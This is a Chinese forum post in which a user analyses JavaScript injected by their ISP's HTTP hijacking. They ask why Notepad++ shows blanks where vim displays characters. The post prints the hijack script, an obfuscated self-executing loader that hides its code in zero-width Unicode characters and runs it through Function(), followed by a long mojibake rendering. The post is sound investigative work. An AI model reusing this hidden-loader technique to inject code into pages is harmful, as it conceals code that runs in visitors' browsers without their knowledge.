js 文件里面的编码字符,编辑器 utf-8 打开不显示

2019-01-02 11:40:55 +08:00
 hongyexiaoqing

在住的地方,可恶电信 http 劫持,分析它的劫持代码发现有个 js 文件在 chrome 开发者工具就能解析出来,用 utf-8 模式 nodepad++打开一些字符串不显示。

地址是 http://51mld.cn/bd/query.js?vid=20000 nodepad++为什么不显示,vim 能显示原理是什么?

用 utf-8 模式 nodepad++打开:

Function("​‍‍​‌‍‌‍‌‌‌‌‍‍‌‍​‌‌​‌‍‍‌‌‍‌‍‍​‍‍​​‍‍‌‌‍‌‌‍‌‍​‌‌​‍​‍​​‌‍‍‌‌‍‍‌​‌‌​​‌‌‍‌‍‌‌‌‌‍‍‌‍​‌‌​‌‍‍‌‌‍‌‍‍​‍‍​‌‌‌​‍​‌‍​‍​‍‍‌‌‍‌‌‍‌‍​‌‌​‍​‍​​‌‍‍‍​‌‌‍‌​‌‍‌‍​‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌​​‍‍‌‍​‌​‍‌‍‌‌‌‍​‌‌‌​‌‍‌‌‌​‌‌‌‍​‌‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌​​‍‍​​‍‌‌​‌‍​‌​‍‌‍‍‌‌​​‌‌​​‍‌​‍‍‌​‍‌‍‍‍​‍‍‌‌​‌‍‌‌​​‌‍‌‌​‌​‍‌‌‌​‌‍‌‌‌‍​‌‌​​‍‌‍‍‍‌‍​‌‌‌‍‌‍​‌‌​‌‍​‌​‍‌‍‍‌‌​​‌‌​​‍‌​‍‌‍‍‍​‍‍‌​‌​‍‌‍​​‌‌‌‌​‍‌‌‍‌‍​‌‌​‍​‍​​‌​​‌‌‍‌​‌‍‌‍​‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌​​‍‍‌‍‌‌‍‌‌‌‌​‌​‌‌‌‍​‌‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌​‌​‌​​‍‌‍‌‌‌‌​‌‍​‌‌‍‌‌​‍‌‍​‌‌‍‌‌‍‌‌​‍‍​​‍​‍‌​‌‍​‌​‍‌‍‍‌‌​​‌‌​​‍​‍​‍‍‌‌‌‍​​​‌‌‌​‍‌​​‍‍‌​​‌‍​‌‌​‍‌‍‌‌‌‍‍‌‌​‌​‍‌‍‌‍‌​‌‍‌‌​‍‍‌‍‍‌‌‍‍‌​‌‍‌‌‌​‍‌‌​‌​​‍‌‍‌‌‌‍‌‍‌‍‌​‍‌‍‌‌​‍‍​‌‍‍‍​‍​‌​​‍‍‌‌‌​‍‌‌‍‌‍​‌‌​‍​‍​​‌‍‍‌‌‍‍‌‍‌‍‌‍​‌‌‍‌‍‌‌‌‌‍‍‌‍​‌‌​‌‍‍‌‌‍‌‍‍​‍‍​​‍‍‌‌‍‌‌‍‌‍​‌‌​‍​‍​​‌‍​‌​‌‌‍‍‌‍​‌‌‌‍‌‍‍‌‌‍‌‌‍​‌‌‌​‌‍‌​‍​‍‍‌‌‌‌​‌‍‌‌‌​‍‌​​‌‌‍‌‌‍‌‌‌‍‍‌‌​​‍‍‌‌​‌‍‌​​‌‍‌‌‌‍‌‌‌​‍‌​​‌‍​‌‌​‌‍‌‌​‍‍​​‍‍‌​‍‌‌‍‌‍​‌‌​‍​‍​​‌‍‍‌​‌‌‍‌‌​​‍‍‌​‌‌‍​‌‌‌​‌‍‍​​‍‍‌​‍‌‍​‌‌‍‍‌‍‌​‌‍‌‍‌​‍‍​​‍‍‌​‍‍‌‌​‌‍‌‌​‌‌​‌​‍‌‍‍‌‌‍‍‌‍‌​‍‍​​‍‍‌​‍‍‌​‌‌‌‌‍​‍‌​‌‌​‌​‍​‍‍​​​‍​‍‍‌​‍​‌‍​‌‌​‍‍​​​​‍​‌‍​‌‍‍​​‍‍​​​​‍​‌‌‌‌​‍‍​​​​‍​‌‌‌‍‍​​‍‍​​​​‍​‌‌‌‌​​‍‍​​​​‍​‌‍‍‌‌‍‌​‍‍‌‌​‌‍‌​​​‍‍‌‍​‌‍‌‍​‌‍​‌‌‌​‌‍‍‌‌‍‌‍‍​‍​‌​‌‌​‌‍‌‌‌‍​‌‍‌‍​‍‍‌‍​‌‍‌‍​‌‍​‌‌‌​‌‍‍‌‌‍‌‍‍​‍​‌‍​‌‍‍​‍‍​‍​‌‌‌‌‍‍‌‌‍‍‌‍‌​‌‍‌‌​‍‍‌‍‍‌‍​‌‌‌‍‌‍‍‌‌‍‌‌‍​‌‌‌​‌‍‌​‍​‍‍‌‍​‌‍‌‍‌‍‍‌‍‍‌‌‍‌‌‌​‌‌‌‍‍‌‍​‌‌‍​‍‌‍​‌‍‌‌‌‍‌​​‍​‌​​‌‍‍​​‍‍‌‍‍‌‍​‌‌‌‍‌‍‍‌‌‍‌‌‍​‌‌‌​‌‍‌​‍​‍‍‌‌‌‌​‌‍‌‌‌​‍‌​​‌‌‍‌‌‍‌‌‌‍‍‌‌​​‍‍‌‍‌‌‍​‌‌‌​‌‍​‌‍‍​​‍‍​​‍​‍‍​‌​​‌‍‍​‌‍‌‍‍‌‍‌‌‌​‌​​‌‍​‌‌‍‌​‌​‌​​‌‍‌‍‌​‌​‌‍‍‌‌‌​​‌‍‍​‌‍‌‍‍‌‍‌‌‌​‌‍‍‌‌‌​​‌‍‌‍‌​‌​‌‍‍‌‌‍‌​‌​‌‍‍‌‌‌​​‌‍​‌‌‍‌​‌​‌​​‌‌‍‍‌‍‌​‌​‍‌‍‌‍‍‌‌‍‌​‌​‌​‌‌‍‌‍​‍‌‍‍‌‌‍​‌‍‌‌‌​‌​​‍‌‍​‌‍​‌‌‍​‌‍‍‌​​‍‌‍‌‌‌​‍‌​‍‌‍‌‌​‌​‍‌‌​‌‌‌​‌‌‍‌‍​‍‌‍‍‌‌‍​‌‍‌‌‌​‌​‌‌‌​‌‌‌​‌‌​​‍‌​‍‌‍‌‌‌​‌‍‌‌‌​‍‌​‌​‍‍‌‌‌‌‌​​‌​‌​‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‌‌‍​‌​‌‌‌​‌‌​‌​​‍‌​‍‌‍‌‌‌​‌‍‌‌‌​‍‌​‌​​‍‌​‍‌‍‌‌‌​‌‍‌‌‌​‍‌​‍‌​‌‌​‌‌‌‌‍‌‌‌‍​‍‌​‌‌​‌​‌‌​‌‍‌‌‍‌‌‍​‍‌‍‍‌‌‍​‌‌‍‍‌​‌‌‌‌‍‍‌‌‍‍‌‍‌​‌‍‌‌‌​​‍​​‌‌​​‌‍‍​‌‍‌‍‍‌‍‌‌​‍‍‌​‍‌‍‍‌​‍‍‌​‍​‌​‌‌‍‍‌‌‌‌‍​‌‍​‌‌​‍‌‍‍‌‌‍‌‍​‍‍​‌‌‌‍‍‌‌‍‍‌‍‌​‌‍‌‌​‍‍‌​‌‍​‌​‍‌‍‌‌‌‍‌‌‌‍‍​‍‍‌‌‍‌‍‍‌​‍‍‌‌‌‌​‌‌‌‌‍‍‌‌‍‍‌‍‌​‌‍‌‌​‍‍‌​‌‍​‌​‍‌‍‌‌‌‍‌‌‌‍‍​‍‍‌‌‌‍‍‌‌‍‌​‌‌​‌‍‍​​‍‌‍‍‌​‍‍‌‌‌‍‍​​‌‌‌‌‍‍‌‌‍‍‌‍‌​‌‍‌‌​‍‍‌​‌‍​‌​‍‌‍‌‌‌‍‌‌‌‍‍​‍‍‌‍‍​‌‍‌‌‌‍‍‌‌‍‌‌‍‍​‌‌​‌‌‌‍‍‌‌‍‌‍​‍‍​‌‍‌​‌‍‌‍​‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌​​‍‍‌‍​‍‌‍‌‍‌​‌‍‌​‍‍‌‌‍‌‍‍‌​‍‍‌‍​‌‌​‌‌‍‌​‌‍‌‍​‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌​​‍‍‌‍​‍‌‍‌‍‌​‌‍‌​‍‍‌‍​‌‍​‌‍‍‌‌‍‌‌‌‍‍‌‌​‌‌‌‌‍‍‌‌‍‌​‌‌​‌‍‍​​‍‌‍‍‌​‍‍‌‍​‌‍‍​​‌‌‍‌​‌‍‌‍​‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌​​‍‍‌‍​‍‌‍‌‍‌​‌‍‌​‍‍‌‍​‌‍​‌‍‍‌‌‍‌‌‌‍‍‌‌​‌​‍​‌‍‌‌‌‍‍‌‌‍‌‌‍‍​‌‌​‌‌‌‍‍‌‌‍‌‍​‍‍​‌‍‍‌​‍‍‌‌‌‌​‍​‌​‌​​​​‍‍‌‌‍‍‌​‍‍‌‌‌‌​​‌‌‍‍‌​‍‍‌‌‌‌​‍‌‍‍‌​‍‍‌‍​‌‌​‍‍‍​​‍​​‍​‍​​‌​‍​‍​‍‍​‍​‍​‍​‍​‍‌​‍‌‍‌‌‌‌​‌‌‌‌​‍‌‍‍​‍​​‌‍‍‌‌‌​‍‌‌‍‌‍​‌‌​‍​‍​​‌‍‌‌‌‍‍‌‍​​‌‌‍‌‍‌‌‌‌‍‍‌‍​‌‌​‌‍‍‌‌‍‌‍‍​‍‍​‌‍‌‍​‍‌‍‍‍​‍‍‌‌‍‌‌‍‌‍​‌‌​‍​‍​​‌​​‌‍​‌‌​‍‌‍​‌‌‍‌‌​​‌‌​‌‍​‍‌‍‍‍‌‍‌‌‌‍​‌‌​​‍‍‌‍‍‌‍‌‌‌‍‌‌​​‍‍​‌‍‌‍​‍‌‍‍‍​‍‍‌​‍‍‌‍‌‌‍​‌‌​​​‍‍​‌‍‌‍‌‌‌‌‍‍‌‍​‌‌​‌‍‍‌‌‍‌‍‍​‍‍​‌‍‍‌‍‌‌‌‍‌​‍‍‌‌‍‌​‍‌‍‌‌‌‌​‌‌‌‌​‍‌‍‍​‍​​‌‍‍‌‍‌‌‌‍‌​‍‍​‍​‍​‌​‍​‍​‍‍‌‍‌‌‌‍‍‌‍​‌‍‌‍‌​‌‍‌‌‌‌‌‌‌‌​‍‌​‍‌‌​​‌‍‌‍‌‌​​‌‍‌‍‍‌‍‌‌‌‍‍‌‌​​‍‍​‌‍‌‍​‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‌‌‌‌​‍‍‌‌‌​‍‍‌​‍‌​‍‌‍‌‌‌‌​‌‌‌‌​‍‌‍‍​‍​​‌​​‌‍​‌‌​‍‌‍​‌‌‍‌‌​​‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍​‍‍​​‍​‍​‍‌‍​‍​‍​‍‍‌‌‌​‍‌‌​‌​‍‌‍‌‌‍‌‍‍‌‌‍‍‌​‌‌​​‍‍​​‍​‍‌‍‍​‌‌​‌‌​‌​​‌​​‍‍​‍​‍‌‍‍​‌‍‌​‍‍‌‍​‍‌‍​‌‌‍‍‌‌‍‌​‌‌‌​‍‍‌‍​‌‍‌‍‌​‍‌‍‍​‌‍‌​‍‍‌‍‍‍‌​​‌‍​‍‌‍‌‍‌‍​​‌‍‌‍​​​‍​​​‍‌​‌​‌​‌‍‌‍‌‍​‍‌‍​‌‌‍‌​​​​‌‍​‍‌‍​‍‌‍‌‍‌‍‌‌‌‍‌​​​‍​‌‌‌‍‌‍​‍​​‍​‌‍​‌​‍‌​‌​​‌‍‌‍‌‍​‍​​​​‍​‍​‍‍‌​‍‌‌‍‌‍​‌‌​‍​‍​​‌‌​​‌​‍​‍‌‍‍​‌‌​‌‌​‌​​​‍‍​‍​‍​‌​​‌​‍‍​​‌​​‌​​​​‍‍​​‍​‌​​‌​‍‍​​‍​‌​​‌​​‍‌‍‍​‌‍‌​‍‌‍​‌‍‌‍‌‌‍‌‌‍‌‌‌​‍​‌‌‍‌‍‍‌‌‍‌​​‌​​‍​​​​​​​​​​​​​‍‌‍​‍​‍​‍‌‍‍‌‌‍‍‌​‌‌​​‍‍​‌‌​​‍‍‌‍‌‌‌‍‍‌‍​​‍‍​‌‍‍‌‌‍‍‌‍‌‍‌‍​‍‍​​‍‍‌​‍‍‌​‍‍‌‌‌‌‍​‌‍​‌‌‌​‌‍​‌‍‍​​‍‍​‌‍‌‌‌‍​​‍‍‌‌‍‌‌‌‌​‍‍‌​‍‍​​‍‍‌".replace(/.{4}/g,function(a){var rep={"​":"00","‌":"01","‍":"10","":"11"};return String.fromCharCode(parseInt(a.replace(/./g, function(a) {return rep[a]}),2))}))()

nodepad++用 ansi 打开:

Function("鈥嬧€嶁€嶁€嬧€屸€嶁€屸€嶁€岋豢鈥屸€屸€屸€嶏豢鈥嶁€屸€嶁€嬶豢鈥岋豢鈥屸€嬧€屸€嶁€嶁€屸€屸€嶏豢锘库€屸€嶏豢鈥嶁€嬧€嶁€嶁€嬧€嬧€嶁€嶁€屸€岋豢鈥嶏豢鈥岋豢鈥屸€嶁€屸€嶁€嬧€屸€岋豢鈥嬧€嶁€嬧€嶁€嬧€嬧€屸€嶁€嶁€屸€屸€嶏豢鈥嶁€岋豢鈥嬶豢鈥岋豢鈥屸€嬧€嬶豢锘库€屸€屸€嶁€屸€嶁€岋豢鈥屸€屸€屸€嶏豢鈥嶁€屸€嶁€嬶豢鈥岋豢鈥屸€嬧€屸€嶁€嶁€屸€屸€嶏豢锘库€屸€嶏豢鈥嶁€嬧€嶁€嶁€嬧€岋豢鈥屸€屸€嬧€嶏豢鈥嬧€屸€嶁€嬧€嶁€嬧€嶁€嶁€屸€岋豢鈥嶏豢鈥岋豢鈥屸€嶁€屸€嶁€嬧€屸€岋豢鈥嬧€嶁€嬧€嶁€嬧€嬧€屸€嶁€嶁€嶁€嬶豢锘库€屸€屸€嶁€屸€嬧€屸€嶏豢锘库€屸€嶁€嬶豢鈥岋豢鈥屸€屸€屸€嶏豢鈥屸€屸€嶁€屸€屸€屸€嶏豢鈥嶁€岋豢鈥屸€嬧€嬧€嶏豢鈥嶁€屸€嶁€嬶豢鈥岋豢鈥嬧€嶁€屸€嶁€屸€屸€屸€嶁€嬧€屸€岋豢鈥屸€嬧€屸€嶁€屸€屸€屸€嬧€屸€屸€屸€嶏豢鈥嬧€屸€嶁€屸€屸€屸€嶏豢鈥屸€屸€嶁€屸€屸€屸€嶏豢鈥嶁€岋豢鈥屸€嬧€嬧€嶁€嶁€嬧€嬧€嶁€岋豢鈥岋豢鈥嬶豢鈥屸€嶁€嬶豢鈥岋豢鈥嬧€嶁€屸€嶁€嶁€屸€岋豢鈥嬧€嬧€岋豢鈥屸€嬧€嬧€嶁€岋豢鈥嬧€嶁€嶁€屸€嬶豢鈥嶏豢鈥屸€嶁€嶁€嶁€嬧€嶏豢鈥嶁€岋豢鈥屸€嬧€岋豢鈥嶁€屸€岋豢鈥嬧€嬧€屸€嶁€屸€屸€嬶豢锘库€屸€嬧€嶁€岋豢鈥岋豢鈥屸€嬧€屸€嶁€屸€屸€岋豢鈥嶁€嬧€岋豢鈥屸€嬧€嬧€嶏豢锘库€屸€嶁€嶁€嶁€屸€嶁€嬧€屸€岋豢鈥屸€嶁€屸€嶁€嬧€屸€岋豢鈥嬶豢鈥屸€嶁€嬶豢鈥岋豢鈥嬧€嶁€屸€嶁€嶁€屸€岋豢鈥嬧€嬧€岋豢鈥屸€嬧€嬧€嶁€岋豢鈥嬶豢鈥嶏豢鈥屸€嶁€嶁€嶁€嬧€嶏豢鈥嶁€岋豢鈥嬶豢鈥岋豢鈥嬧€嶁€屸€嶁€嬶豢鈥嬶豢锘库€屸€岋豢鈥屸€屸€嬶豢鈥嶏豢鈥岋豢鈥屸€嶁€屸€嶁€嬧€屸€岋豢鈥嬧€嶁€嬧€嶁€嬧€嬧€岋豢鈥嬶豢鈥嬶豢锘库€屸€屸€嶁€屸€嬧€屸€嶏豢锘库€屸€嶁€嬶豢鈥岋豢鈥屸€屸€屸€嶏豢鈥屸€屸€嶁€屸€屸€屸€嶏豢鈥嶁€岋豢鈥屸€嬧€嬧€嶏豢鈥嶁€屸€嶁€岋豢鈥屸€嶁€屸€屸€岋豢鈥屸€嬧€屸€嬧€屸€屸€屸€嶏豢鈥嬧€屸€嶁€屸€屸€屸€嶏豢鈥屸€屸€嶁€屸€屸€屸€嶏豢鈥嶁€岋豢鈥屸€嬧€岋豢鈥嬶豢鈥屸€嬧€嬧€嶁€岋豢鈥嶁€屸€屸€屸€屸€嬧€屸€嶁€嬧€屸€屸€嶁€岋豢鈥屸€嬶豢鈥嶁€屸€嶁€嬧€屸€屸€嶏豢鈥屸€屸€嶁€屸€屸€嬧€嶁€嶁€嬧€嬧€嶁€嬧€嶁€岋豢鈥嬶豢鈥屸€嶁€嬶豢鈥岋豢鈥嬧€嶁€屸€嶁€嶁€屸€岋豢鈥嬧€嬧€岋豢鈥屸€嬧€嬧€嶁€嬧€嶁€嬧€嶁€嶁€屸€屸€屸€嶏豢鈥嬶豢鈥嬧€嬧€屸€岋豢鈥屸€嬶豢鈥嶏豢鈥岋豢鈥嬶豢鈥嬧€嶏豢鈥嶁€岋豢鈥嬧€嬧€屸€嶁€嬧€屸€岋豢鈥嬧€嶁€屸€嶁€屸€屸€屸€嶏豢鈥嶁€岋豢鈥屸€嬧€屸€嬶豢鈥嶁€屸€嶏豢锘库€屸€嶁€屸€嬧€屸€嶁€屸€屸€嬧€嶏豢鈥嶁€屸€嶁€嶁€屸€屸€嶏豢鈥嶁€岋豢鈥嬶豢鈥屸€嶁€屸€屸€岋豢鈥嬧€嶁€岋豢鈥屸€嬧€屸€嬧€嬧€嶁€屸€嶁€屸€屸€屸€嶁€屸€嶁€屸€嶏豢锘库€岋豢鈥嬧€嶁€屸€嶁€屸€屸€嬧€嶁€嶁€嬧€屸€嶁€嶁€嶁€嬧€嶏豢鈥嬧€岋豢鈥嬶豢鈥嬧€嶁€嶁€屸€岋豢锘库€屸€嬶豢鈥嶏豢鈥岋豢鈥屸€嶁€屸€嶁€嬧€屸€岋豢鈥嬧€嶁€嬧€嶁€嬧€嬧€屸€嶁€嶁€屸€屸€嶏豢鈥嶁€屸€嶁€屸€嶁€屸€嶏豢锘库€嬶豢锘库€屸€屸€嶁€屸€嶁€岋豢鈥屸€屸€屸€嶏豢鈥嶁€屸€嶁€嬶豢鈥岋豢鈥屸€嬧€屸€嶁€嶁€屸€屸€嶏豢锘库€屸€嶏豢鈥嶁€嬧€嶁€嶁€嬧€嬧€嶁€嶁€屸€岋豢鈥嶏豢鈥岋豢鈥屸€嶁€屸€嶁€嬧€屸€岋豢鈥嬧€嶁€嬧€嶁€嬧€嬧€屸€嶁€嬧€屸€嬶豢锘库€屸€屸€嶏豢鈥嶁€屸€嶁€嬧€屸€岋豢鈥屸€嶁€屸€嶁€嶁€屸€屸€嶁€岋豢鈥屸€嶁€嬧€屸€岋豢鈥屸€嬧€屸€嶏豢锘库€岋豢鈥嬧€嶁€嬧€嶏豢鈥嶁€岋豢鈥屸€屸€岋豢鈥嬶豢鈥屸€嶁€屸€屸€岋豢鈥嬧€嶁€屸€嬧€嬧€屸€屸€嶁€岋豢鈥屸€嶁€屸€屸€屸€嶏豢鈥嶁€岋豢鈥屸€嬧€嬧€嶏豢鈥嶁€岋豢鈥屸€嬧€屸€嶏豢锘库€屸€嬶豢鈥嬧€屸€嶏豢锘库€岋豢鈥岋豢鈥屸€嶁€屸€屸€岋豢鈥嬧€嶁€屸€嬧€嬶豢鈥屸€嶁€嬧€屸€岋豢鈥嬶豢鈥屸€嶁€屸€屸€嬧€嶁€嶁€嬧€嬧€嶁€嶁€屸€嬶豢鈥嶏豢鈥岋豢鈥屸€嶁€屸€嶁€嬧€屸€岋豢鈥嬧€嶁€嬧€嶁€嬧€嬧€屸€嶁€嶁€屸€嬶豢锘库€屸€岋豢鈥嶏豢鈥岋豢鈥屸€嬧€嬶豢鈥嶁€嶁€屸€嬶豢鈥屸€屸€嶁€嬧€屸€岋豢鈥屸€嬧€屸€嶁€嶁€嬧€嬧€嶏豢鈥嶁€岋豢鈥嬧€嶁€屸€嶁€嬧€屸€屸€嶏豢鈥嶁€屸€嶁€屸€嬧€屸€嶏豢锘库€屸€嶏豢鈥屸€嬧€嶁€嶁€嬧€嬧€嶁€嶁€屸€嬧€嶏豢鈥嶁€岋豢鈥屸€嬧€屸€嶏豢锘库€屸€屸€嬶豢鈥岋豢鈥屸€嬧€岋豢鈥嬧€嶁€屸€嶁€嶁€屸€屸€嶏豢鈥嶁€屸€嶁€岋豢鈥嬧€嶁€嶁€嬧€嬧€嶁€嶁€屸€嬧€嶏豢鈥嶁€岋豢鈥嬶豢鈥岋豢鈥屸€屸€屸€嶁€嬧€嶁€岋豢鈥嬶豢鈥岋豢鈥屸€嬧€岋豢鈥嬧€嶁€嬧€嶁€嶁€嬧€嬶豢鈥嬧€嶁€嬧€嶁€嶁€屸€嬧€嶏豢鈥嬧€屸€嶁€嬶豢鈥岋豢鈥岋豢鈥嬶豢鈥嶁€嶁€嬶豢鈥嬧€嬧€嬧€嶏豢鈥嬧€屸€嶁€嬶豢鈥屸€嶁€嶁€嬧€嬶豢鈥嶁€嶁€嬶豢鈥嬧€嬧€嬧€嶏豢鈥嬧€岋豢鈥岋豢鈥岋豢鈥岋豢鈥嬶豢鈥嶁€嶁€嬶豢鈥嬧€嬧€嬧€嶏豢鈥嬧€岋豢鈥岋豢鈥屸€嶁€嶁€嬧€嬶豢鈥嶁€嶁€嬶豢鈥嬧€嬧€嬧€嶏豢鈥嬧€岋豢鈥岋豢鈥岋豢鈥屸€嬧€嬶豢鈥嶁€嶁€嬶豢鈥嬧€嬧€嬧€嶏豢鈥嬧€屸€嶁€嶁€屸€屸€嶏豢鈥屸€嬶豢鈥嶁€嶁€岋豢鈥屸€嬧€屸€嶏豢锘库€岋豢鈥嬧€嬧€嬧€嶏豢鈥嶁€屸€嶏豢鈥嬧€屸€嶏豢锘库€屸€嶁€嬶豢鈥屸€嶁€嬧€屸€岋豢鈥屸€嬧€屸€嶁€嶁€屸€屸€嶏豢锘库€屸€嶏豢鈥嶁€嬧€嶁€嬧€屸€嬶豢锘库€屸€岋豢鈥嬶豢鈥屸€嶁€屸€屸€屸€嶏豢鈥嬧€屸€嶁€屸€嶁€嬧€嶏豢鈥嶁€屸€嶏豢鈥嬧€屸€嶏豢锘库€屸€嶁€嬶豢鈥屸€嶁€嬧€屸€岋豢鈥屸€嬧€屸€嶁€嶁€屸€屸€嶏豢锘库€屸€嶏豢鈥嶁€嬧€嶏豢鈥嬧€屸€嶁€嬶豢鈥屸€嶁€嶏豢鈥嬶豢鈥嶁€嶁€嬧€嶁€嬧€屸€岋豢鈥岋豢鈥屸€嶁€嶁€屸€屸€嶏豢鈥嶁€屸€嶁€屸€嬧€屸€嶏豢锘库€岋豢鈥岋豢鈥嬧€嶏豢鈥嶁€屸€嶏豢鈥嶁€屸€嶁€嬧€屸€岋豢鈥屸€嶁€屸€嶁€嶁€屸€屸€嶁€岋豢鈥屸€嶁€嬧€屸€岋豢鈥屸€嬧€屸€嶏豢锘库€岋豢鈥嬧€嶁€嬧€嶏豢鈥嶁€屸€嶁€嬶豢鈥屸€嶏豢锘库€屸€嶏豢锘库€屸€嶁€嶏豢鈥屸€嶁€嶁€屸€屸€嶁€屸€屸€屸€嬧€屸€屸€屸€嶏豢鈥嶁€屸€嶁€嬧€屸€屸€嶁€嬧€嶁€屸€嶏豢鈥嬧€屸€嶁€屸€屸€屸€嶁€屸€嬧€嬧€嶏豢鈥嬧€岋豢鈥嬧€嬧€屸€嶁€嶁€嬧€嬶豢鈥嶁€嶁€屸€嶏豢鈥嶁€屸€嶁€嬧€屸€岋豢鈥屸€嶁€屸€嶁€嶁€屸€屸€嶁€岋豢鈥屸€嶁€嬧€屸€岋豢鈥屸€嬧€屸€嶏豢锘库€岋豢鈥嬧€嶁€嬧€嶏豢鈥嶁€岋豢鈥屸€屸€岋豢鈥嬶豢鈥屸€嶁€屸€屸€岋豢鈥嬧€嶁€屸€嬧€嬧€屸€屸€嶁€岋豢鈥屸€嶁€屸€屸€屸€嶏豢鈥嶁€岋豢鈥屸€嬧€嬧€嶏豢鈥嶁€屸€嶏豢鈥屸€屸€嶁€嬧€屸€岋豢鈥屸€嬧€屸€嶁€嬶豢鈥屸€嶁€嶁€嬧€嬧€嶁€嶁€嬧€嬧€嶏豢锘库€嬧€嶁€嶁€嬧€岋豢鈥嬧€嬧€屸€嶁€嶁€嬧€屸€嶏豢锘库€屸€嶏豢鈥嶁€屸€嶁€屸€屸€岋豢锘库€嬧€岋豢鈥嬧€嬧€屸€嶁€嬧€屸€屸€嶁€屸€嬧€岋豢锘库€嬧€岋豢鈥嬧€嬧€屸€嶏豢锘库€屸€嶁€屸€嬧€岋豢锘库€嬧€屸€嶁€嶁€屸€屸€屸€嬧€嬧€屸€嶁€嶁€嬧€屸€嶏豢锘库€屸€嶏豢鈥嶁€屸€嶁€屸€屸€岋豢锘库€嬧€屸€嶁€嶁€屸€屸€屸€嬧€嬧€屸€嶏豢锘库€屸€嶁€屸€嬧€岋豢锘库€嬧€屸€嶁€嶁€屸€屸€嶏豢锘库€岋豢鈥嬶豢鈥岋豢锘库€嬧€屸€嶁€嶁€屸€屸€屸€嬧€嬧€屸€嶁€嬧€屸€屸€嶁€屸€嬧€岋豢锘库€嬧€屸€嬧€嬧€屸€屸€嶏豢鈥嶁€屸€嶁€屸€嬧€岋豢鈥嬧€嶁€屸€嶏豢锘库€屸€嶁€嶁€屸€屸€嶁€屸€嬧€岋豢锘库€嬧€屸€嬶豢鈥屸€屸€嶏豢锘库€屸€嶁€嬧€嶁€屸€嶁€嶁€屸€屸€嶏豢鈥嬧€屸€嶁€屸€屸€岋豢锘库€嬧€屸€嬧€嬧€嶁€屸€嶏豢鈥嬧€屸€嶁€嬧€屸€屸€嶁€嬶豢鈥屸€嶁€嶏豢鈥屸€嬧€嬧€嶁€屸€嶁€屸€屸€岋豢鈥嬧€嶁€岋豢鈥嬧€嶁€岋豢鈥嶁€屸€岋豢锘库€嬧€屸€嬧€嶁€屸€屸€嬧€屸€屸€屸€嬶豢鈥屸€屸€嶏豢锘库€屸€嶁€嬧€嶁€屸€嶁€嶁€屸€屸€嶏豢鈥嬧€屸€嶁€屸€屸€岋豢锘库€嬧€屸€嬶豢鈥屸€屸€屸€嬧€屸€屸€屸€嬧€屸€屸€嬧€嬧€嶁€岋豢鈥嬧€嶁€屸€嶏豢锘库€岋豢鈥岋豢鈥岋豢鈥嬶豢鈥屸€嶁€屸€屸€岋豢鈥嬧€嶁€岋豢锘库€嬧€屸€嬧€嶁€嶁€屸€屸€屸€屸€屸€嬧€嬶豢鈥岋豢锘库€嬧€屸€嬧€屸€嶁€屸€嶁€屸€屸€屸€嶏豢鈥嶁€屸€嶏豢鈥嶁€屸€嶁€屸€屸€屸€嶁€嬶豢鈥岋豢锘库€嬧€岋豢鈥岋豢鈥屸€嬶豢锘库€屸€屸€嬶豢鈥屸€嬧€嬧€嶁€岋豢鈥嬧€嶁€屸€嶏豢锘库€岋豢鈥岋豢鈥岋豢鈥嬶豢鈥屸€嶁€屸€屸€岋豢鈥嬧€嶁€岋豢锘库€嬧€屸€嬧€嬧€嶁€岋豢鈥嬧€嶁€屸€嶏豢锘库€岋豢鈥岋豢鈥岋豢鈥嬶豢鈥屸€嶁€屸€屸€岋豢鈥嬧€嶁€屸€嬶豢鈥嶁€屸€嬧€岋豢鈥岋豢锘库€嬧€屸€屸€岋豢鈥屸€嶁€屸€屸€屸€嶁€嬧€嶁€屸€嬶豢锘库€屸€屸€嬶豢鈥岋豢锘库€嬧€屸€屸€嬶豢鈥岋豢鈥嶁€屸€屸€嶏豢鈥屸€屸€嶁€嬧€嶁€屸€嶁€嶁€屸€屸€嶁€嬧€屸€屸€嶏豢鈥嶁€岋豢锘库€嬧€屸€屸€岋豢鈥屸€嶁€嶁€屸€屸€嶏豢鈥嶁€屸€嶁€屸€嬧€屸€嶏豢锘库€岋豢鈥岋豢鈥岋豢鈥嬶豢鈥嬧€嶁€嬧€嬧€屸€屸€嬧€嬧€屸€嶁€嶁€嬧€屸€嶏豢锘库€屸€嶏豢鈥嶁€屸€嶁€屸€屸€嬧€嶁€嶁€屸€嬧€嶏豢锘库€屸€嶁€嶁€屸€嬧€嶁€嶁€屸€嬧€嶁€嬧€屸€嬶豢锘库€屸€屸€嶏豢鈥嶁€岋豢鈥屸€屸€屸€嶏豢鈥嬧€屸€嶏豢鈥嬧€岋豢锘库€屸€嬶豢鈥嶏豢鈥屸€嶁€嶁€屸€屸€嶁€屸€嶁€嬧€嶁€嶁€嬧€岋豢鈥岋豢鈥屸€嶁€嶁€屸€屸€嶏豢鈥嶁€屸€嶁€屸€嬧€屸€嶏豢锘库€岋豢鈥岋豢鈥嬧€嶏豢鈥嶁€岋豢鈥嬶豢鈥屸€嶁€嬶豢鈥岋豢鈥嬧€嶁€屸€嶁€屸€屸€屸€嶁€屸€屸€屸€嶏豢鈥嶁€嬧€嶁€嶁€屸€岋豢鈥嶏豢鈥屸€嶁€嶁€屸€嬧€嶏豢鈥嶁€岋豢鈥岋豢鈥岋豢鈥岋豢鈥嬶豢锘库€屸€岋豢鈥岋豢鈥屸€嶁€嶁€屸€屸€嶏豢鈥嶁€屸€嶁€屸€嬧€屸€嶏豢锘库€岋豢鈥岋豢鈥嬧€嶏豢鈥嶁€岋豢鈥嬶豢鈥屸€嶁€嬶豢鈥岋豢鈥嬧€嶁€屸€嶁€屸€屸€屸€嶁€屸€屸€屸€嶏豢鈥嶁€嬧€嶏豢鈥嶁€岋豢鈥岋豢鈥屸€嶁€嶁€屸€屸€嶁€屸€嬧€岋豢鈥屸€嬧€屸€嶁€嶁€嬧€嬶豢鈥嶏豢鈥屸€嶁€嶁€屸€嬧€嶏豢鈥嶁€岋豢鈥岋豢鈥屸€嶁€嶁€嬧€嬶豢锘库€屸€岋豢鈥岋豢鈥屸€嶁€嶁€屸€屸€嶏豢鈥嶁€屸€嶁€屸€嬧€屸€嶏豢锘